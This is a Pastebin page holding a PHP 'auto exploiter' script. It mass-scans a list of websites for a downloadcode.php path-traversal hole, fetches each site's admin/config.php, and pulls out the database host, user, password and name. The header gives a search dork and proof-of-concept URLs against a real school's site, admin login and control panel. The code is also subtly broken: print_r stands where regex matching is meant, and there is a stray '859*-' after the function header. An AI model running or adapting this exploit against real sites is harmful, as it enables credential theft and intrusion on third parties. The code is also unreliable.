MisterKlio

Auto Xploiter Downloadcode.php

Nov 11th, 2016
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.11 KB | None | 0 0
  1. <?php                  
  2. error_reporting(0);
  3. set_time_limit(0);
  4. // Info  ....
  5. $Info2 = "- Coded By Mister Klio @Fb.com/IzzAdiine [AZedinekyo@Gmail.com]";
  6. $Info3 = "- Dork : inurl:/downloadcode.php=";
  7. $Info4 = "- Login : http://www.stteresaschool.in/admin/login.php";
  8. $Info5 = "- Cpanel : http://www.stteresaschool.in/controlpanel/ ";
  9.  
  10. /*
  11. //  Login  .....
  12. - Read Login  : http://www.stteresaschool.in/downloadcode.php?d=../admin/login.php
  13. //  Poc ....
  14. - Get Config : http://www.stteresaschool.in/downloadcode.php?d=../admin/config.php
  15. // Usage  ....
  16. - Usage >php Script.php Liste.txt
  17. */
  18.  
  19. if(!file_exists($argv[1])){
  20.       echo "\n\t - usage : php $argv[0]  Liste.txt \n";
  21.       echo "\n $Info2 \n $Info3 \n $Info4 \n $Info5 \n ";
  22. }
  23.  /// downloadcode.php
  24. $Files=file_get_contents($argv[1]);
  25.  
  26. $explode=explode("\r\n",$Files);
  27.  
  28. echo "\t -  Total  :".count($explode)."\n\n";
  29. foreach ($explode as $Target){
  30.  
  31.   echo " \t - Scaning ..... : $Target \n";
  32.   echo " \t - Please Wait.... \n\n\n";
  33.  
  34. $Get=@file_get_contents($Target);
  35.  
  36.   if(eregi("/downloadcode.php",$Get)){
  37.     $downloadcode1=( $Target).("/downloadcode.php?d=../admin/config.php");  ///   Vuln  :  d=../admin/
  38.     getinfo( $downloadcode1);
  39.   }
  40. else {
  41.     echo "- Erur Not Vuln \n\n";}
  42. }
  43. //// function Info Get
  44. function getinfo($Url){859*-
  45.   $Inject = curl_init();
  46.  curl_setopt($Inject, CURLOPT_URL, "$Url");
  47.  curl_setopt($Inject, CURLOPT_RETURNTRANSFER, 1);
  48. $Database= curl_exec($Inject);
  49.  curl_close($Inject);
  50. if(print_r ("#require_once\(ABSPATH . 'config.php'\);#i", $Database)){
  51. if (print_r ("#define\('db_host', '(.*?)'\);#i", $Database, $Done))
  52.         {
  53.             echo "\t -  db_host : ", $Done[1], "\n";
  54. }if (print_r ("#define\('db_user', '(.*?)'\);#i", $Database, $Done))
  55.         {
  56.             echo "\t  - db_user : ", $Done[1], "\n";
  57. }if (print_r ("#define\('db_password', '(.*?)'\);#i", $Database, $Done))
  58.         {
  59.             echo "\t  - db_password : ", $Done[1], "\n";
  60. }if (print_r ("#define\('db_name', '(.*?)'\);#i", $Database, $Done))
  61.         {
  62.             echo "\t - db_name : ", $Done[1], "\n\n";
  63.             echo $Info4 ;
  64.         }
  65.       }else{
  66.         echo "- Target Not Work   "."\n\n";
  67.         }
  68. }
  69. ?>
Add Comment
Please, Sign In to add comment